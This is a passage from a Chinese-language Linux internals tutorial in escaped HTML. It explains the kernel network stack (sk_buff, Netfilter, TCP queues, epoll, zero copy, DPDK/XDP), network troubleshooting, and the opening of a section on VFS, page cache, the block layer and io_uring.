&lt;li&gt;&lt;strong&gt;轮询 (Polling)&lt;&#x2F;strong&gt; ：内核线程（&lt;code&gt;ksoftirqd&#x2F;n&lt;&#x2F;code&gt;）开始批量从 Ring Buffer 取包（一次取 &lt;code&gt;budget&lt;&#x2F;code&gt; 个，默认 300 或 64）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;恢复中断&lt;&#x2F;strong&gt;：如果 Ring Buffer 空了，重新开启网卡硬中断，进入休眠。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;1-3-he-xin-shu-ju-jie-gou-sk-buff-socket-buffer&quot;&gt;1.3 核心数据结构：&lt;code&gt;sk_buff&lt;&#x2F;code&gt; (Socket Buffer)&lt;&#x2F;h3&gt;
&lt;p&gt;Linux 网络栈的通用货币。理解它就能理解&lt;strong&gt;零拷贝&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;结构&lt;&#x2F;strong&gt;：包含 &lt;code&gt;head&lt;&#x2F;code&gt;, &lt;code&gt;data&lt;&#x2F;code&gt;, &lt;code&gt;tail&lt;&#x2F;code&gt;, &lt;code&gt;end&lt;&#x2F;code&gt; 四个指针。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;操作&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;封包&lt;&#x2F;strong&gt;：当 TCP 层要把数据传给 IP 层时，不需要拷贝数据，只需要移动 &lt;code&gt;data&lt;&#x2F;code&gt; 指针预留头部空间，填充 IP 头即可。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;克隆&lt;&#x2F;strong&gt;：当 &lt;code&gt;tcpdump&lt;&#x2F;code&gt; 抓包时，只需要拷贝 &lt;code&gt;sk_buff&lt;&#x2F;code&gt; 结构体（元数据），不需要拷贝实际的数据负载 (Payload)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;代价&lt;&#x2F;em&gt;：&lt;code&gt;sk_buff&lt;&#x2F;code&gt; 结构体本身较大（200+ 字节），高并发下频繁分配释放会造成 Slab 压力。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-er-zhang-xie-yi-zhan-de-mi-gong-layer-3-4-ip-tcp&quot;&gt;&lt;strong&gt;第二章：协议栈的迷宫 (Layer 3&lt;&#x2F;strong&gt; &lt;strong&gt;&amp;amp;&lt;&#x2F;strong&gt; &lt;strong&gt;4 - IP&lt;&#x2F;strong&gt; &lt;strong&gt;&amp;amp;&lt;&#x2F;strong&gt; &lt;strong&gt;TCP)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;软中断拿到了包，开始向上层层递交。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-wang-luo-ceng-de-guan-qia-ip-layer&quot;&gt;&lt;strong&gt;2.1 网络层的关卡 (IP Layer)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;路由子系统 (FIB)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;数据包进来，内核要问：这是给我的，还是路过的？&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Local Process&lt;&#x2F;strong&gt;：目的 IP 是本机 -&amp;gt; 往上送。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Forward&lt;&#x2F;strong&gt;：目的 IP 是别人，且 &lt;code&gt;net.ipv4.ip_forward=1&lt;&#x2F;code&gt; -&amp;gt; 查路由表转发。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;FIB Trie&lt;&#x2F;strong&gt;：路由表不是简单的数组，而是 LC-Trie (最长前缀匹配前缀树)，查找速度极快。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Netfilter (防火墙基石)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Iptables, IPVS, Docker, K8s Service 全靠它。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;5 Hook Points&lt;&#x2F;strong&gt;：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;PREROUTING&lt;&#x2F;code&gt; (刚进来，还没查路由)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;INPUT&lt;&#x2F;code&gt; (给本机的)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;FORWARD&lt;&#x2F;code&gt; (转发的)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;OUTPUT&lt;&#x2F;code&gt; (本机发出的)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;POSTROUTING&lt;&#x2F;code&gt; (马上要滚出去的)。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Conntrack (连接跟踪)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Netfilter 会记录每一条流的状态 (NEW, ESTABLISHED, RELATED)。这是 NAT (网络地址转换) 能工作的前提。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;故障典籍&lt;&#x2F;em&gt;：&lt;code&gt;nf_conntrack: table full, dropping packet&lt;&#x2F;code&gt;。这是高并发服务器常见故障，意味着连接跟踪表满了，内核开始丢包。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-2-chuan-shu-ceng-de-jing-mi-ji-qi-tcp-layer&quot;&gt;&lt;strong&gt;2.2 传输层的精密机器 (TCP Layer)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;这是内核里最复杂的代码之一。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;三次握手 (The Handshake)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SYN Queue (半连接队列)&lt;&#x2F;strong&gt; ：收到 SYN，状态变 &lt;code&gt;SYN_RECV&lt;&#x2F;code&gt;，放入此队列。如果满了，开启 &lt;code&gt;tcp_syncookies&lt;&#x2F;code&gt; 抵御攻击。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Accept Queue (全连接队列)&lt;&#x2F;strong&gt; ：收到 ACK，三次握手完成，状态变 &lt;code&gt;ESTABLISHED&lt;&#x2F;code&gt;，移入此队列。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;应用层&lt;&#x2F;em&gt;：应用调用 &lt;code&gt;accept()&lt;&#x2F;code&gt;，就是从全连接队列里取出一个 Socket。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;拥塞控制 (Congestion Control)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CUBIC (默认)&lt;&#x2F;strong&gt; ：基于&lt;strong&gt;丢包&lt;&#x2F;strong&gt;作为信号。一旦丢包，窗口减半。在现代高带宽网络中过于保守。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;BBR (Google)&lt;&#x2F;strong&gt; ：基于&lt;strong&gt;带宽和延迟 (BDP)&lt;&#x2F;strong&gt;  模型。不看丢包，看网络是不是真的堵了。在弱网环境下能提升数倍吞吐量。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;重传机制&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RTO (Retransmission Timeout)&lt;&#x2F;strong&gt; ：超时重传，慢。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Fast Retransmit&lt;&#x2F;strong&gt;：收到 3 个重复 ACK，立即重传，快。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-san-zhang-socket-jie-kou-yu-gao-xing-neng-wang-luo-layer-5-user-space&quot;&gt;&lt;strong&gt;第三章：Socket 接口与高性能网络 (Layer 5 - User Space)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;终于，数据要交给用户进程了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-socket-de-ben-zhi&quot;&gt;&lt;strong&gt;3.1 Socket 的本质&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Everything is a File&lt;&#x2F;strong&gt;：Socket 也是文件，有 &lt;code&gt;inode&lt;&#x2F;code&gt;，有 &lt;code&gt;file_operations&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;接收缓冲区&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;recv()&lt;&#x2F;code&gt; 不是直接从网卡读。而是把内核缓冲区 (&lt;code&gt;sk_receive_queue&lt;&#x2F;code&gt;) 里的数据&lt;strong&gt;拷贝&lt;&#x2F;strong&gt;到用户提供的 buffer 中。&lt;&#x2F;li&gt;
&lt;li&gt;这就是&lt;strong&gt;网络 I&#x2F;O 慢&lt;&#x2F;strong&gt;的根本原因：&lt;strong&gt;上下文切换 + 内存拷贝&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;3-2-i-o-mo-xing-de-jin-hua&quot;&gt;&lt;strong&gt;3.2 I&#x2F;O 模型的进化&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;BIO (Blocking I&#x2F;O)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;read()&lt;&#x2F;code&gt; 没数据就卡住线程。一个连接需要一个线程。并发上限 = 线程上限。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;NIO (Non-blocking I&#x2F;O)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;read()&lt;&#x2F;code&gt; 没数据返回 &lt;code&gt;EAGAIN&lt;&#x2F;code&gt;。应用层写死循环轮询。CPU 空转，发热。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;I&#x2F;O Multiplexing (多路复用)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Select&#x2F;Poll&lt;&#x2F;strong&gt;：把 1000 个 fd 给内核，“谁有数据告诉我不？” 内核遍历一遍，返回。缺点：O(N)，连接多了遍历太慢。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Epoll (Linux 专属)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;RB-Tree&lt;&#x2F;strong&gt;：在内核里维护一个红黑树，存所有待监控的 socket。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Callback&lt;&#x2F;strong&gt;：当网卡收到数据，协议栈走到 TCP 层，触发回调，把该 socket 加入&lt;strong&gt;Ready List (双向链表)&lt;&#x2F;strong&gt; 。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Epoll_wait&lt;&#x2F;strong&gt;：只需要查看 Ready List 有没有东西。O(1)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;C10K 问题&lt;&#x2F;strong&gt;：Epoll 使得单机维护 100 万长连接成为可能。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-si-zhang-ling-kao-bei-yu-pang-lu-ji-shu-zero-copy-kernel-bypass&quot;&gt;&lt;strong&gt;第四章：零拷贝与旁路技术 (Zero Copy&lt;&#x2F;strong&gt; &lt;strong&gt;&amp;amp;&lt;&#x2F;strong&gt; &lt;strong&gt;Kernel Bypass)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;即使是 Epoll，依然要把数据从内核拷贝到用户态。在 40Gbps&#x2F;100Gbps 网络下，这依然太慢。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;4-1-ling-kao-bei-zero-copy&quot;&gt;&lt;strong&gt;4.1 零拷贝 (Zero Copy)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sendfile&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;传统发文件：Disk -&amp;gt; Kernel Cache -&amp;gt; User Buffer -&amp;gt; Kernel Socket Buffer -&amp;gt; NIC。 (4次拷贝，4次切换)&lt;&#x2F;li&gt;
&lt;li&gt;Sendfile：Disk -&amp;gt; Kernel Cache -&amp;gt; NIC。 (2次拷贝，2次切换)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Kafka&lt;&#x2F;strong&gt; 和&lt;strong&gt;Nginx&lt;&#x2F;strong&gt; 高性能的秘诀。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Splice&lt;&#x2F;strong&gt;：两个文件描述符之间传递数据（如 Pipe 到 Socket），完全在内核完成，零拷贝。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;4-2-kernel-bypass-rao-guo-nei-he&quot;&gt;&lt;strong&gt;4.2 Kernel Bypass (绕过内核)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;如果内核协议栈太慢，那就不要用它了。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;DPDK (Data Plane Development Kit)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Intel 推出的框架。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;UIO&lt;&#x2F;strong&gt;：用户态驱动，直接接管网卡 PCI 设备，映射网卡内存到用户空间。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;PMD (Poll Mode Driver)&lt;&#x2F;strong&gt; ：一个死循环在 CPU 专核上狂转，轮询网卡。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;无中断、无拷贝、无系统调用&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;代价&lt;&#x2F;em&gt;：你需要自己实现 TCP&#x2F;IP 栈（如 F-Stack）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;XDP (eXpress Data Path)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Linux 内核原生的 Bypass。&lt;&#x2F;li&gt;
&lt;li&gt;在&lt;strong&gt;网卡驱动层&lt;&#x2F;strong&gt;（&lt;code&gt;sk_buff&lt;&#x2F;code&gt; 分配之前）运行 eBPF 字节码。&lt;&#x2F;li&gt;
&lt;li&gt;场景：DDOS 防御（直接 Drop，不进协议栈）、负载均衡（直接修改 MAC&#x2F;IP 转发）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-wu-zhang-gu-zhang-pai-cha-shi-zhan-troubleshooting&quot;&gt;&lt;strong&gt;第五章：故障排查实战 (Troubleshooting)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;场景 1：Ping 得通，Curl 不通&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;分析&lt;&#x2F;strong&gt;：Ping 是 ICMP (Layer 3)，Curl 是 TCP (Layer 4)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;可能原因&lt;&#x2F;strong&gt;：Iptables 允许了 ICMP 但 DROP 了 TCP 80；或者 MTU 问题（大包被丢弃，Ping 包小没发现）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;场景 2：TCP 连接建立慢，伴有丢包&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工具&lt;&#x2F;strong&gt;：&lt;code&gt;dmesg | grep conntrack&lt;&#x2F;code&gt; 看是不是连接表满了。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;工具&lt;&#x2F;strong&gt;：&lt;code&gt;netstat -s | grep &quot;listen queue&quot;&lt;&#x2F;code&gt; 看是不是全连接队列溢出 (Syn Flood)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;场景 3：网卡中断不均衡，CPU 0 跑死，其他核围观&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;解决&lt;&#x2F;strong&gt;：检查&lt;strong&gt;irqbalance&lt;&#x2F;strong&gt; 服务是否开启。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;优化&lt;&#x2F;strong&gt;：配置&lt;strong&gt;RPS (Receive Packet Steering)&lt;&#x2F;strong&gt;  或&lt;strong&gt;RFS&lt;&#x2F;strong&gt;，软件模拟多队列，把包分发给其他核处理。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;book-di-wu-juan-you-rong-nai-da-cun-chu-yu-wen-jian-xi-tong-vfs-storage&quot;&gt;&lt;strong&gt;📖 第五卷：有容乃大 —— 存储与文件系统 (VFS&lt;&#x2F;strong&gt; &lt;strong&gt;&amp;amp;&lt;&#x2F;strong&gt; &lt;strong&gt;Storage)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;本卷目标&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;抽象&lt;&#x2F;strong&gt;：彻底理解 VFS 四大对象，明白为什么 socket 和 pipe 也是文件。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;路径&lt;&#x2F;strong&gt;：追踪一个 &lt;code&gt;write()&lt;&#x2F;code&gt; 调用从 Page Cache 到 BIO 再到磁盘扇区的全过程。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;演进&lt;&#x2F;strong&gt;：掌握从传统的 Journaling 到现代 CoW (Copy-on-Write) 文件系统的技术变革。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-yi-zhang-wei-da-de-chou-xiang-vfs-virtual-file-system&quot;&gt;&lt;strong&gt;第一章：伟大的抽象 —— VFS (Virtual File System)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Linux 支持 100 多种文件系统。为什么 &lt;code&gt;cp&lt;&#x2F;code&gt; 命令不需要针对 ext4 写一套代码，针对 ntfs 写一套代码？因为 VFS。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-1-vfs-si-da-jin-gang&quot;&gt;&lt;strong&gt;1.1 VFS 四大金刚&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;内核中用 C 结构体模拟了面向对象的继承多态。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Superblock (超级块)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;代表一个已挂载的文件系统（如 &lt;code&gt;&#x2F;dev&#x2F;sda1&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;存储元数据：块大小、魔数、Inode 总数。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inode (索引节点)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文件的灵魂&lt;&#x2F;strong&gt;。存储权限、大小、时间戳、数据块指针。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;唯一性&lt;&#x2F;strong&gt;：在同一个文件系统中，Inode 号是唯一的。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：Inode 不包含文件名！文件名只是目录中的记录。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Dentry (目录项)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文件名的载体&lt;&#x2F;strong&gt;。连接文件名和 Inode。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Dentry Cache (Dcache)&lt;&#x2F;strong&gt; ：内核为了加速路径查找（如 &lt;code&gt;&#x2F;etc&#x2F;nginx&#x2F;nginx.conf&lt;&#x2F;code&gt;），会缓存解析过的目录项。&lt;strong&gt;内存泄漏高发区&lt;&#x2F;strong&gt;：如果大量生成临时文件名（如 PHP 的 session 文件），Dcache 会迅速吃光 RAM。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;File (文件对象)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;代表&lt;strong&gt;进程打开的文件&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;包含核心字段：&lt;code&gt;f_pos&lt;&#x2F;code&gt; (当前读写偏移量)。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;区别&lt;&#x2F;em&gt;：两个进程打开同一个文件，有 2 个 &lt;code&gt;struct file&lt;&#x2F;code&gt;，但共享 1 个 &lt;code&gt;struct inode&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;1-2-gua-zai-mount-yu-ming-ming-kong-jian&quot;&gt;&lt;strong&gt;1.2 挂载 (Mount) 与命名空间&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Mount Point&lt;&#x2F;strong&gt;：挂载点其实就是覆盖了原目录的 Dentry。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Bind Mount&lt;&#x2F;strong&gt;：&lt;code&gt;mount --bind &#x2F;A &#x2F;B&lt;&#x2F;code&gt;。让两个目录指向同一个 Dentry。容器中挂载 Volume 就是用的这个。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Mount Namespace&lt;&#x2F;strong&gt;：容器隔离的基础。每个容器有自己独立的挂载树，互不干扰。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;di-er-zhang-shu-ju-de-gao-su-gong-lu-i-o-zhan-the-i-o-stack&quot;&gt;&lt;strong&gt;第二章：数据的高速公路 —— I&#x2F;O 栈 (The I&#x2F;O Stack)&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;write()&lt;&#x2F;code&gt; 返回成功了，数据就存好了吗？差得远呢。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-page-cache-ye-huan-cun&quot;&gt;&lt;strong&gt;2.1 Page Cache (页缓存)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Write Back (回写)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;write()&lt;&#x2F;code&gt; 只是把用户态数据拷贝到了内核态的 &lt;strong&gt;Page Cache&lt;&#x2F;strong&gt; (Radix Tree&#x2F;XArray 管理)。&lt;&#x2F;li&gt;
&lt;li&gt;页面被标记为 &lt;strong&gt;Dirty (脏页)&lt;&#x2F;strong&gt; 。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;write()&lt;&#x2F;code&gt; 随即返回。&lt;strong&gt;速度极快&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;内核线程 &lt;code&gt;kworker&lt;&#x2F;code&gt; 后台异步将脏页刷入磁盘。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;风险&lt;&#x2F;em&gt;：如果此时断电，数据丢失。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Write Through &#x2F; Sync&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;调用 &lt;code&gt;fsync()&lt;&#x2F;code&gt; 或 &lt;code&gt;open(O_SYNC)&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;强制立刻刷盘，写完才返回。慢，但安全（数据库 WAL 日志必备）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-2-tong-yong-kuai-ceng-block-layer&quot;&gt;&lt;strong&gt;2.2 通用块层 (Block Layer)&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;BIO (Block I&#x2F;O)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;当 Page Cache 决定刷盘，或者发生缺页读取时，会组装一个 &lt;code&gt;struct bio&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;合并与排序&lt;&#x2F;strong&gt;：块层会将对相邻扇区的多个 BIO 合并成一个 Request，以减少机械臂移动（HDD）或各种开销。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;I&#x2F;O 调度器&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CFQ&lt;&#x2F;strong&gt; (已淘汰)：完全公平队列，针对机械盘优化。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Deadline&lt;&#x2F;strong&gt;：保证读写延迟不超过最后期限。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;NOOP&#x2F;None&lt;&#x2F;strong&gt;：啥也不干。&lt;strong&gt;NVMe SSD 必选&lt;&#x2F;strong&gt;（因为 SSD 随机读写极快，不需要排序，CPU 排序反而是累赘）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;2-3-yi-bu-i-o-de-jin-hua&quot;&gt;&lt;strong&gt;2.3 异步 I&#x2F;O 的进化&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AIO (Legacy)&lt;&#x2F;strong&gt; ：仅支持 Direct I&#x2F;O，限制多，难用。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;io_uring (Modern)&lt;&#x2F;strong&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Linux 5.1 引入的神器。&lt;&#x2F;li&gt;
&lt;li&gt;基于 &lt;strong&gt;SQ&#x2F;CQ (提交&#x2F;完成) 环形队列&lt;&#x2F;strong&gt;，用户态和内核态共享内存。&lt;&#x2F;li&gt;
